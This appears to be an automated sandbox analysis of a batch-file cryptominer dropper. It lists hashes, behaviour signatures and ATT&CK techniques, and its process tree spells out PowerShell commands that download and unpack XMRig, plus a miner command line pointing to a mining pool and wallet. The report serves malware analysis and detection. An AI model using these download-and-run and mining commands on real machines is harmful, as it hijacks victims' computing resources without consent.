xmrig | c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

Analysis

max time kernel
142s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
22-05-2024 02:54

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General

Target

9.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

xmrig execution miner

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe	family_xmrig
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

2 1384 powershell.exe
8 1384 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

xmrig.exe

pid process

2316 xmrig.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1384 powershell.exe
4976 powershell.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1384 powershell.exe
1384 powershell.exe
4976 powershell.exe
4976 powershell.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

676

flow	pid	process
2	1384	powershell.exe
8	1384	powershell.exe

pid	process
2316	xmrig.exe

pid	process
1384	powershell.exe
4976	powershell.exe

pid	process
1384	powershell.exe
1384	powershell.exe
4976	powershell.exe
4976	powershell.exe

pid	process
676

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exexmrig.exe

description	pid	process
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeLockMemoryPrivilege	2316	xmrig.exe
Token: SeLockMemoryPrivilege	2316	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

xmrig.exe

pid process

2316 xmrig.exe

pid	process
2316	xmrig.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 468 wrote to memory of 1384	468	cmd.exe	powershell.exe
PID 468 wrote to memory of 1384	468	cmd.exe	powershell.exe
PID 468 wrote to memory of 4976	468	cmd.exe	powershell.exe
PID 468 wrote to memory of 4976	468	cmd.exe	powershell.exe
PID 468 wrote to memory of 2316	468	cmd.exe	xmrig.exe
PID 468 wrote to memory of 2316	468	cmd.exe	xmrig.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\9.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:468

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4976

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2316

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2628 --field-trial-handle=3192,i,2785050981002401924,4037047756083432660,262144 --variations-seed-version /prefetch:8
1⤵
PID:884

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
143a478fb47996f74bbbcdaa252b9e0b

SHA1
288893a45c1c50f8245a32aa06dfb1ac2ff31c83

SHA256
6d91b6cc49e12bf850b873bfd57f591a37fe1aef5ca6e2bc8855dc866abf479b

SHA512
e7e2d235fc60e58fe10961515db7f1a667cc58268b8cd3066afa5e7e4de0b1217e3cb85fbe24230b3eb7ac94399fa42971772954a0c309d3cb9334b7a67f93d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4dzw2v05.bf3.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3-msvc-win64.zip
Filesize
2.5MB

MD5
cef0ae1ab544e40b659261a4e07fe48f

SHA1
e5ff855ce3c7726a50eb50a634ff9f406b3df093

SHA256
713263085499ae626a6148fab67932c9a69611b21ac3d04cf52a5e23495f902e

SHA512
1fb23b385e6cff3653f0b4b397d092c7be4df62899c97e18f675df2024e5f06ef2596fb626b85ae2ef7d7583c5bf54b00dba1a5ad566c2707a669a48d9814ba8

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C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
Filesize
6.1MB

MD5
c0f8959614ae06561216158d78a787e5

SHA1
73167d1fd0cee1c96a6505606d21cbfe4369eb00

SHA256
e199d88569fb54346d5fa20ee7b59b2ea6f16f4ecca3ea1e1c937b11aab7b2b0

SHA512
a24fcf344d08c64ac301d5e4979f062b5e28e8e4acf1d2790916149ffe7726b0c4a11e0775aeba6b841d2d5081e1bd13e2b80390bf9bfbc44d67e54ec07cd746

Download Submit
memory/1384-10-0x000002472ECF0000-0x000002472ED12000-memory.dmp

Filesize
136KB

Download
memory/1384-11-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/1384-12-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/1384-13-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/1384-17-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/1384-0-0x00007FFED7BA3000-0x00007FFED7BA5000-memory.dmp

Filesize
8KB

Download
memory/2316-61-0x000001E96CA60000-0x000001E96CA80000-memory.dmp

Filesize
128KB

Download
memory/4976-19-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/4976-33-0x0000014E7EE40000-0x0000014E7EE52000-memory.dmp

Filesize
72KB

Download
memory/4976-32-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/4976-34-0x0000014E7EAD0000-0x0000014E7EADA000-memory.dmp

Filesize
40KB

Download
memory/4976-57-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/4976-31-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/4976-30-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download